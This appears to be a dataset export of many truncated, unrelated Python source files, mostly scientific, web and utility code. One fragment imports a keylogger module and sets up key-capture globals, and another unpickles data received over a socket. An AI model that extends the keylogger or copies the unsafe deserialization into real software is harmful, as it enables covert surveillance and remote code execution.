text
stringlengths
3.07k
12.6k
# read video import cv2 import numpy as np import glob import traceback confid = 0.5 thresh = 0.5 dirs = glob.glob("..\\Test_cities\\*.mp4") def calibrated_dist(p1, p2): return ((p1[0] - p2[0]) ** 2 + 550 / ((p1[1] + p2[1]) / 2) * (p1[1] - p2[1]) ** 2) ** 0.5 def isclose(p1, p2): c_d = cali...
from time import time, sleep import serpent_builder as sb import complex_serpent_builder as csb import restart_serpent_builder as rsb import os import res_dep_analysis as rda import subprocess import os.path from os import path def run_script(INPUT_NAME, OUTPUT_NAME, input_script): ''' Writes the input_script...
# coding=utf-8 import re from comply.rules.patterns import ( FUNC_BODY_PATTERN, LITERAL_SINGLE_LINE, LITERAL_SINGLE_CHAR, COMMENT_BLOCK_PATTERN, COMMENT_LINE_PATTERN ) from comply.util.scope import depth def is_seemingly_identical(stripped: str, original: str) -> bool: """ Determine whether a strip...
#!/usr/bin/python3 #NISH, PUT CODE HERE! try: from . import keylogger; except SystemError: import keylogger; import threading; import time; import os; #GLOBALS capture_limit = 60; curr_key = ""; buffer_start = False; key_words= []; #reads from file if present; try: key_words_file = open("keys.txt","r"); #IMPORT...
import re import json import willie import requests from bs4 import BeautifulSoup passage_re = r'(\d*\s*(?:\w+\s+)+\d+(?::\d+(?:-\d+)?)?)\s?(\w+(?:-\w+)?)?' def setup(bot): if not bot.memory.contains('preferred_versions'): bot.memory['preferred_versions'] = willie.tools.WillieMemory() setup_biblia(bo...
import os from MuseParse.tests.testUsingXML.xmlSet import xmlSet, parsePiece from MuseParse.classes.ObjectHierarchy.ItemClasses import Directions from MuseParse.classes.ObjectHierarchy.TreeClasses.PartNode import PartNode from MuseParse.classes.ObjectHierarchy.TreeClasses.MeasureNode import MeasureNode from MuseParse....
#!/usr/bin/env python """ Perform mufit analysis on a dax file given parameters. Hazen 10/13 """ import storm_analysis.daostorm_3d.find_peaks as find_peaks import storm_analysis.sa_library.analysis_io as analysisIO import storm_analysis.sa_library.parameters as params import storm_analysis.sa_utilities.std_analysis...
"""A generic wrapper for all sorts of generators. This is because itertools doesn't return things that return true when yeeted into isinstance(<itertools object>, types.GeneratorType). Also, maps, ranges and other stuff that needs to be lazily evaluated. """ import itertools import types import vyxal.helpers def la...
from __future__ import absolute_import, division, print_function import os from contextlib import contextmanager from into.backends.h5py import append, create, resource, discover, convert from into.backends.h5py import unicode_dtype from into.utils import tmpfile from into.chunks import chunks from into import into,...
#!/usr/bin/env python3 import os import csv import jinja2 import markdown from glob import glob import frontmatter from digital_land_frontend.jinja import setup_jinja docs = "docs/" staticPath = "https://digital-land.github.io" assetPath = "https://digital-land.github.io" keys = { "dataset-field": ["dataset", "f...
import socket, pickle, sys, subprocess, time from threading import Thread def serialize(data): return pickle.dumps(data) def deserialize(data): return pickle.loads(data) def sendPullMessage(socket): message = {} message["version"] = 1 message["type"] = "pull" message["id"] = 17 m...
import os import sys from tempfile import mkdtemp # os.environ["CURL_CA_BUNDLE"] = "/etc/ssl/certs/ca-certificates.crt" import mercantile import json from shapely import geometry, ops import s3fs import boto3 from subprocess import Popen import shlex import click import tqdm sys.path.append("../../../model/rob...
# -*- coding: utf-8 -*- """ Geophysics for ageobot. TODO: Move some of this to Bruges. """ import numpy as np from PIL import ImageStat def is_greyscale(im): stat = ImageStat.Stat(im) if sum(stat.sum[:3])/3 == stat.sum[0]: return True return False def hilbert(s, phi=0): """ Optional ph...
# Copyright (c) 2021 The Regents of the University of California # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above copyright # notice, this lis...
import tkinter as TK import pyperclip import io from tkinter.constants import INSERT from TruthTableGenerator import generateTruthTable import tkinter.messagebox import os,sys BASE_DIR = os.path.dirname(os.path.dirname(__file__)) sys.path.append(BASE_DIR) # 主窗口 root = TK.Tk( ) root.title("Truth table Caculator") ro...
"""Phase 6 of the twikwak17 dataset generation process.""" import re import gc import time import gzip import zipfile from contextlib import ExitStack from twikwak17.shared import ( qprint, seconds_to_duration_str, phase_output_report_fpath, set_output_report_file_handle, create_timestamped_repor...
""" Components/FloatingRoundedAppbar ================================ .. rubric:: A floating pill shaped dock/bar to which special icon buttons can be added Example ------- .. code-block:: python from kivy.lang.builder import Builder from kivymd.app import MDApp from kivymd.toast import toast import...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Use tcp ping host, just like ping comppand """ import socket import time import click import sys from typing import Iterable, Callable, Any from collections import namedtuple from functools import partial from six import print_ from timeit import default_timer as tim...
import functools import tensorflow as tf from .doc_utils import add_name_arg_doc from .type_utils import is_tensor_object __all__ = [ 'get_static_shape', 'get_batch_size', 'get_rank', 'get_shape', 'get_dimension_size', 'get_dimensions_size', 'resolve_negative_axis', 'concat_shapes', 'is_shape_equal', ] ...
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). import os import subprocess import sys import pytest from pex.interpreter import PythonInterpreter from pex.pex_info import PexInfo from pex.testing import IS_PYPY, PY_VER, make_env, run...
""" openEO client configuration (e.g. through config files) """ import logging import os import platform from configparser import ConfigParser from copy import deepcopy from pathlib import Path from typing import Union, Any, Sequence, Iterator, Optional, List from openeo.util import in_interactive_mode _log = logg...
""" The tests in this module compare the RESPY package to the original RESTUD code for the special cases where they overlap. """ from pandas.util.testing import assert_frame_equal import pandas as pd import numpy as np import subprocess import pytest from codes.random_init import generate_random_dict from respy.pyt...
import sys import numpy as np # Environments stuff import gym import dmc_wrapper as dmc2gym from rlpyt.envs.gym import GymEnvWrapper import sys sys.path.append('../../multiagentworld') import maw from absl import logging logging.set_verbosity(logging.ERROR) # rlpyt stuff from rlpyt.samplers.serial.sampler import Se...
# Generated from lark-action. def __get_location(token): return (token.line, token.column) def __get_value(token): return token.value from contextlib import contextmanager from dianascript.operator_resolve import Operator, binop_reduce from dianascript.chexpr import * from dianascript.chlhs import...
from django.shortcuts import render, redirect, get_object_or_404 from django.contrib import messages from django.contrib.auth.decorators import login_required from django.db.models import Count from app_sme12.models import SmeCompetition, FormSiteVisit from app_backend.models import Enterpise, Competition from app_sm...
from statistics import mode from django.db import models from django.core.validators import MinValueValidator, MaxValueValidator, MinLengthValidator, MaxLengthValidator from datetime import datetime from datetime import date from users.models import Student, Instructor class Classroom(models.Model): building = mo...
# -*- coding: utf-8 -*- # Standard imports import datetime import os import os.path import codecs # Non standard imports (see requirements.txt) import click import jinja2 from shapely.geometry import shape from shapely.ops import transform # Fiona should be imported after shapely - see https://github.com/Toblerity/Sh...
"""Play the builtin tunes via MIDI. MIDI output circuit: https://www.midi.org/articles/midi-electrical-specifications 1. 3.3V connected to MIDI output socket pin 4 via a 35 ohm resistor 2. GND connected to MIDI output socket pin 2 3. Pin 0 (TX) connected to MIDI output socket pin 5 via a 10 ohm resistor """ # ----...
# Copyright 2018 The TensorFlow Authors All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
import argparse import base64 import concurrent.futures from concurrent.futures import ThreadPoolExecutor import json from multiprocessing import Process import numpy as np import os import queue import random import requests import socket import struct from threading import Thread import time from clipper_admin.docke...
import cv2 import numpy as np from contours import corners_in_contour, get_outer_corners def make_border(img): """makes an image with a border Args: img: image Returns: image with border """ row, col = img.shape[:2] # add border to image in case slide is at edge border_si...
# -*- encoding: utf-8 # SimpleMPS # Density matrix renormalization group (DMRG) in matrix product state (MPS) # This file contains the definition of matrix product operators in Ising model, # then performs ground state search based on MPS. # For theoretical backgrounds, see the [reference]: # <NAME>, The density-matr...
import sys import math from PyQt5 import QtCore, QtWidgets from PyQt5.QtWidgets import QMainWindow, QWidget, QLabel, QLineEdit from PyQt5.QtWidgets import QPushButton from PyQt5.QtCore import QSize import sqlite3 con = sqlite3.connect("chemi.db") con.row_factory = sqlite3.Row cur = con.cursor() def fi...
from tensorflow.keras import backend as K abs_definitions = [ {'name': 'add_class', 'nargs': '+', 'type': int, 'help': 'flag to add abstention (per task)'}, {'name': 'alpha', 'nargs': '+', 'type': float, 'help': 'abstention penalty coefficient (per task)'}, {'name': 'min_acc',...
#!/usr/bin/python # -*- coding: utf-8 -*- """CatSystem 1 CsMO scene type (.cst) WARNING: This module is deprecated, and will be changed or removed, once it's made obsolete. """ __version__ = '0.0.1' __date__ = '2020-09-17' __author__ = '<NAME>' ###########################################################...
# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- from ema...
#! /usr/bin/env python # -*- coding: utf-8 -*- # Create by Albert_Chen # CopyRight (py) 2020年 陈超. All rights reserved by Chao.Chen. # Create on 2020-03-22 __author__ = 'Albert' # -*- coding:utf-8 -*- import argparse import logging import os from alembic import command as alembic_command from alembic import config as...
#!/usr/bin/env python # coding: utf-8 import numpy as np import os import pickle import pprint import time import pyross import matplotlib.pyplot as plt import matplotlib.image as mpimg #from matplotlib import rc; #postFigFileName = 'figPostHistos_pop1e8.pdf' #trajFigFileName = 'figTraj_pop1e8.pdf' #mapFigFileName ...
import math from typing import Sequence, Tuple import numpy as np from .math import vertices_matmul from .shapes import Shape from .skins import SilhouetteSkin class PolyShape(Shape): """ PolyShape is a base class for any Shape made of segments and polygonal masks, such as cubes, OBJ-based models, etc. ...
import numpy as onp import jax.numpy as np from jax.scipy.special import erf, erfc from timemachine.constants import ONE_4PI_EPS0 from timemachine.potentials.jax_utils import delta_r, distance def non_polar_ace(born_radii, atomic_radii, probe_radius, pi4Asolv): """ Compute the non-polar contribution to the GB...
#!/usr/bin/env python3 import os import sys import logging import argparse from itertools import repeat from multiprocessing import Pool, Manager import numpy as np import lattice import utils def lattice_operation(from_iterator, onebest_dict, oracle_dict, density_dict, gsf=None, transform=None...
import gc import os from torch.utils.tensorboard import SummaryWriter import xnas.core.checkpoint as checkpoint import xnas.core.config as config import xnas.core.logging as logging import xnas.core.meters as meters from xnas.core.builders import build_space from xnas.core.config import cfg from xnas.core.trainer imp...
import os import unittest from pyhpo.parser.obo import parse_obo_section, terms_from_file, Converter from pyhpo.parser.generics import remove_outcommented_rows from pyhpo import HPOTerm class OboParsingTest(unittest.TestCase): def setUp(self): self.a1 = [ 'id: HP:0000001', 'name: ...
# imports import numpy as np import cv2 import pytesseract import time from scipy.ndimage import interpolation as inter import threading # get sign classifier sign_cascade = \ cv2.CascadeClassifier(r"D:\STUFF\Programming\Speed-Limit-Detection\Speedlimit_HAAR_ 16Stages.xml" ) # set up pytesseract for OCR p...
""" Convert Pascal VOC 2007+2012 detection dataset to HDF5. Does not preserve full XML annotations. Combines all VOC subsets (train, val test) with VOC2012 train for full training set as done in Faster R-CNN paper. Code based on: https://github.com/pjreddie/darknet/blob/master/scripts/voc_label.py """ import argpars...
# Copyright (c) 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # Datastore models don't define __init__ methods, but sometimes you have to # assign values to the implied .key attribute. Pylint doesn't like that. # py...
# !/usr/bin/python # -*- coding:utf-8 -*- # @Time : 2021/3/16 19:08 # @Author : JamesYang # @File : ResNet.py import torch.nn.functional as func from torch.autograd import Variable from DeepModel.NNutil import * from DeepModel.feature_modeling import pre_process, NN_data_preparation # 定义make_layer def mak...
import os, json import psycopg2 from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT """Load contents of .json file into a JSON object""" def loadJsonFile(filename): try: f = open(filename) jsonObj = json.load(f) f.close() return jsonObj except IOError: print("- un...
# main imports import numpy as np import pandas as pd import sys, os, argparse # image processing from PIL import Image from ipfml import utils import Imath import OpenEXR from ipfml.processing import transform, segmentation import matplotlib.pyplot as plt # model imports import joblib from keras.models import load_...
# # Copyright (c) 2020 IBM Corp. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writi...
''' This will contain functions needed to make it easy to work with data and theoretical predictions. I will add to it as I need more functions. I can then call this into a jupyter notebook to make things easy and neat. ''' import numpy as np import pandas as pd import scipy.stats as st def dd_prob(n0,alpha): '''T...
import json import sseclient import urllib import urllib3 import settings nest_auth_url = settings.nest_auth_url nest_access_token_url = settings.nest_access_token_url nest_api_root_url = settings.nest_api_root_url nest_tokens_path = settings.nest_tokens_path nest_api_url = settings.nest_api_url product_id = settin...
#!/usr/bin/python3 # # api.py - Flask REST API to render EML files # # Author: <NAME> <<EMAIL>> # Copyright: GPLv3 (http://gplv3.fsf.org) # Fell free to use the code, but please share the changes you've made # # Todo # - "offline" mode when rendering HTML code # import os import sys import email import email.header im...
# -*- coding: utf-8 -*- import os import yaml from copy import deepcopy from lxml import etree from lxml.etree import Element def main(): root = read_xml("all_questions.xml") life_cycle_content = read_yaml("cat_member.yaml") cat_list = [] cat_list_tmp = [] for cat_vars in life_cycle_content["catalo...
from functools import partial from io import BytesIO from PIL import Image import discord from discord.utils import get as d_get from discord.utils import escape_markdown as esc_md import emoji_utils import bot_messages from recon import ProfileImg from utils import (RSCDB, add_calendar_reactions, ...
# LAB EXERCISE 07 print('Lab Exercise 07 \n') # SETUP restaurants = [ {'Name': '<NAME>', 'Location': '117 W Washington St', 'Rating': 4.5, 'Reviews': 1871, 'Category': 'Burgers'}, {'Name': "<NAME>", 'Location': '422 Detroit St', 'Rating': 4.0, 'Reviews': 2224, 'Category': 'Delis'}, {'Name': "Scorekeepers",...
import numpy as np import matplotlib.mlab as mlab import matplotlib.pyplot as plt # For fitting a gaussian curve. from scipy.stats import norm def plot(data, fig_w=15, fig_h=9): plt.figure(figsize=(fig_w, fig_h)) plt.grid() _ = plt.plot(data, 'x', linestyle='-') def plot_multiple(data...
# -*- coding: utf-8 -*- # ====================================== # # @Author : <NAME> # @Email : <EMAIL> # @File : kpt.py # ALL RIGHTS ARE RESERVED UNLESS STATED. # ====================================== # import pathlib import numpy as np AbacusKPTKeyDict = { "K_POINTS": { "number_of_kpt", }, ...
import config import numpy as np from Simulation_utilities import random_subset def tests_analyzed(T_result_left, T_result_positive_arr, steps_per_day): """Time left for results to come back decreased, some results come back. Args: T_result_left: Array. For each agent, number days left until test result comes ...
from .pattern import * ################################################ # Examples: ################################ # a <- bc ################################ # a <- b c+ lambda b,cs: f(b,cs) # b_cs <- b c lambda b,c: [b,[c]] # b_cs <- b_cs c lambda b_cs,c: b_cs[1].append(c); return b_cs ...
import os import re from sys import stdout from tqdm import tqdm TOKEN_SPLIT_CHAR = ' ' def load_dataset(file_path, lower: bool = False, remove: str = None) -> tuple: """This function loads a europarl dataset and preprocesses the lines. Reduces sentences to contain only allowed characters (see code below). ...
# Copyright 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
import json import logging import traceback from django.contrib import messages from django.template import loader from django.contrib.auth.models import User as authUser from django.shortcuts import render, redirect from django.urls import reverse from django.views.decorators.csrf import csrf_exempt from django.http ...
# Copyright 2000 by <NAME>. All rights reserved. # This code is part of the Biopython distribution and governed by its # license. Please see the LICENSE file that should have been included # as part of this package. """ This module provides code to access resources at ExPASy over the WWW. http://www.expasy.ch/ Fun...
#!/usr/local/bin/python3 # -*- coding: utf-8 -*- # Les exceptions interompent le programme et signalent que quelque chose # d'anormal est en train de se passer : division par 0, accès à un # élément d'une liste ... ### Lever une exception ### # Il est possible de lever (lancer, activer) une action #raise NomDeLExc...
import tensorflow as tf from tensorflow.keras import Model from tensorflow.keras.layers import Conv2D, MaxPooling2D, UpSampling2D, Concatenate, Dropout #-------------------------------------------------------------------------------- # Inception block #---------------------------------------------------------------...
import numpy as np from sklearn.neighbors import KNeighborsClassifier import torch import random def calc_frac_idx(x1_mat,x2_mat): """ Returns fraction closer than true match for each sample (as an array) """ fracs = [] x = [] nsamp = x1_mat.shape[0] rank=0 for row_idx in range(nsamp): ...
# Author: <NAME> <<EMAIL>> # # License: BSD 3 clause # # SPDX-License-Identifier: BSD-3-Clause from typing import Any, Hashable, Iterable, Mapping, Optional, Sequence from collections import defaultdict import xarray as xr import raman def cubify( arr: xr.DataArray, *spatial_dims: str, pixel...
""" IMINFECTOR algorithm """ import pandas as pd import numpy as np import os import json import time def softmax(x): return np.exp(x)/np.sum(np.exp(x)) class IMINFECTOR: def __init__(self, fn, embedding_size): self.fn = fn self.embedding_size = embedding_size self.file_Sn = fn+"/E...
import mabs.utils.performance_measure as pm import osbrain from osbrain import run_nameserver from osbrain import run_agent from mabs.ka.ka_s.hill_climb import HillClimb import mabs.bb.blackboard_optimization as bb_opt import pickle import time import copy import math def test_hypervolume_indicator_base(): ref...
import arrow import logging import pickle import redis import random from collections import MutableMapping from datetime import timedelta CONST_GC_MAX = 100 CONST_GC_PROB = 50 class ExpiringDictStore(MutableMapping): """ Store for ExpiringDict. Implement MutableMapping interface to act as a collection. ...
# -*- coding: utf-8 -*- import re import urllib.parse import webbrowser from http.server import HTTPServer, SimpleHTTPRequestHandler from requests import Session from requests.exceptions import RequestException class Client: """ Pocket API Client. """ def __init__(self, consumer_key: str, username:...
#!/usr/bin/env python3 import cv2 import numpy as np from gym import spaces from gym.utils import seeding from learn2learn.gym.envs.meta_env import MetaEnv class Entity2D: """Represents an element: - agent (id:-1) - red collectible (id:0) - green collectible (id:1) - blue collecti...
from model import common import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable """ Gumbel Softmax Sampler Requires 2D input [batchsize, number of categories] Does not support single binary category. Use two dimensions with softmax instead. """ class GumbleSoftmax(torch...
from sys import argv from socket import socket from threading import Thread, Timer from collections import deque class Socket_Singleton: """ Allows a single instance of a python application to run at a time. First one that binds to the specified port wins, and will collect the arguments fr...
""" Plots utils using matplotlib. """ import os from typing import Union import matplotlib.pyplot as plt import numpy as np from PIL import Image from torch import Tensor from torchvision import transforms from tqdm import tqdm def img_float_to_uint8(img): rimg = img - np.min(img) rimg = (rimg / np.max(rimg)...
import numpy as np from squanch import linalg, gates __all__ = ["QSystem", "Qubit"] # Computational basis and projection operators _0 = np.array([1, 0], dtype = np.complex64) _1 = np.array([0, 1], dtype = np.complex64) _M0 = np.outer(_0, _0) _M1 = np.outer(_1, _1) class QSystem: ''' Represents a multi-body...
# Copyright (C) 2018-2021 Seoul National University # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
# Aula 21 - 12-12-2019 # Cliente..... # Crie uma classe cliente. # Use os seguintes atributos: codigo cliente(int), nome, idade(int), telefone, email, endereço # Use o seguinte atributo de estado: crédito em R$, saldo R$, # cliente_devedor(True/False) # O atributo cliente_devedor ...
#/usr/bin/env python import pygame from pygame.locals import * from time import time import AStar class AStarExample: # -1 1 2 3 4 Start Finish Find path Reset colors = [(0,0,0),(0,255,0),(0,255-20,0),(0,255-40,0),(0,255-60,0),(0...
# Run with Python 3 # Copyright 2019 VMware, Inc. # SPDX-License-Identifier: BSD-2-Clause """\ Markdown Manipulator. Part of the Doctor documentation tool. No standalone capability. """ # Exit if run other than as a module. if __name__ == '__main__': print(__doc__) raise SystemExit(1) # # Standard library impo...
""" View classes for the RESTful API. """ from django.conf import settings from django.http import Http404 from rest_framework import permissions from rest_framework import generics from rest_framework.decorators import api_view from rest_framework.response import Response from rest_framework.reverse import reve...
import tkinter as tk from tkinter import * n1 = "" n2 = "" index = 0 operator = "" ansIn = False def do_math(x,y,op): global cscreen, n1, n2, operator, index, ansIn number = 0 if op == "/": number = x/y if op == "*": number = x*y if op == "-": number = x-y if op ...
import logging from dataclasses import dataclass, field from pathlib import Path from typing import Tuple, List, Iterable, Optional, Union, Any import numpy as np import pandas as pd from apischema import schema from apischema.metadata import skip from rdkit import Chem from optunaz.utils.preprocessing.deduplicator i...
import base64 import json import os import shutil import subprocess import sys from urllib.parse import urlsplit from keyring import backend from keyring.util import properties PRIORITY = 10 # Doc is oddly vague def get_db_location(environ, platform): """ This is a port of https://github.com/bitwarden/...
# CVSS V2 scoring # use https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator to check yourself def get_ac(access_complexity): if access_complexity is 'H': return 0.35 elif access_complexity is 'M': return 0.61 elif access_complexity is 'L': return 0.71 return def get_auth(authe...
#!/usr/bin/env python # encoding: utf-8 import requests import requests_cache from cStringIO import StringIO import json from urllib import urlencode import logging L = logging.getLogger( 'oofy' ) BASE_URL = 'http://api.zoopla.co.uk/api/v1/' class PropertyListing(object): def __init__(self, member_variables): ...
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Name: editorial.py # Purpose: music21 classes for representing editorial information # # Authors: <NAME> # <NAME> # # Copyright: Copyright © 2008-2015 <NAME> and the music21 # ...
import gym import numpy as np import tensorflow as tf from data_cleaning import sanitize_state from tqdm import tqdm from tensorflow.keras.models import Model from tensorflow.keras.layers import Dense, Conv2D, BatchNormalization, Flatten class ActorCriticModel(Model): def __init__(self, state_shape, action_space_...
import json import sqlite3 def dict_factory(cursor, row): """Causes sqlite to return dictionary instead of tuple""" """Easier and more pythonic than using indices""" d = {} for idx, col in enumerate(cursor.description): d[col[0]] = row[idx] return d def create_table(cur, conn): cur.ex...
# Copyright (c) 2021, <NAME> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the foll...
#!/usr/local/bin/python3.8 from tensorflow.keras.models import Sequential, load_model from tensorflow.keras import layers, callbacks, Input from tensorflow import config # Prevents some errors that would otherwise happen without this code physical_devices = config.list_physical_devices('GPU') config.experimental.set_...
import heapq from binance.depthcache import DepthCache from binance.depthcache import FuturesDepthCacheManager from binance.client import * def patch_Client(): ''' Remove time.sleep(1) # sleep after every 3rd call to be kind to the API if idx % 3 == 0: time.sleep(1) ...
# coding=utf-8 """ Generic Custom Widgets to use in this module """ from ipywidgets import * from traitlets import * class CheckRow(HBox): checkbox = Instance(Checkbox) widget = Instance(Widget) def __init__(self, widget, **kwargs): self.checkbox = Checkbox(indent=False, ...
import numpy as np from kobra.dr import KNeighborsRegions, Labels, ExtractBloodVessels, ImageReader import mahotas as mh from kobra.imaging import max_labelled_region import cv2 # path to the images preprocessed by histogram specification from 16_left.jpeg root = '/kaggle/retina/train/labelled' annotations = 'annotati...
import argparse import logging import sys from pathlib import Path from cv2 import exp import numpy as np from typing import List from typing import Tuple from typing import Union from typing import Dict from typing import Sequence from typing import Any from typing import Iterable import json import os from collection...
# -*- coding:utf-8 -*- from math import floor from numpy import int64 from .global_settings import COORD2INT_FACTOR, INT2COORD_FACTOR def inside_polygon(x, y, coordinates): """ Implementing the ray casting point in polygon test algorithm cf. https://en.wikipedia.org/wiki/Point_in_polygon#Ray_casting_alg...
nucleotides = ['A','C','G','T'] def read_joint_kmer_counts(f, super_pattern, n_scale=1): """Read kmer counts from a file with three columns: kmer, count_mutated count_background Args: f (file object): input file super_pattern: General pattern n_scale (int, optional): Option to scale th...
from collections import OrderedDict from scipy.spatial.transform import Rotation as R from scipy.spatial.transform import Slerp import numpy as np import json import multiprocessing as mp from tqdm import tqdm def pretty_print(ob): print(json.dumps(ob, indent=4)) def euler_to_rot(angles): # Euler ZYX to Rot...
from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import sys import dlib import glob import h5py from skimage import io import time import numpy as np import collections from imutils import face_utils import cv2 from scipy.misc import...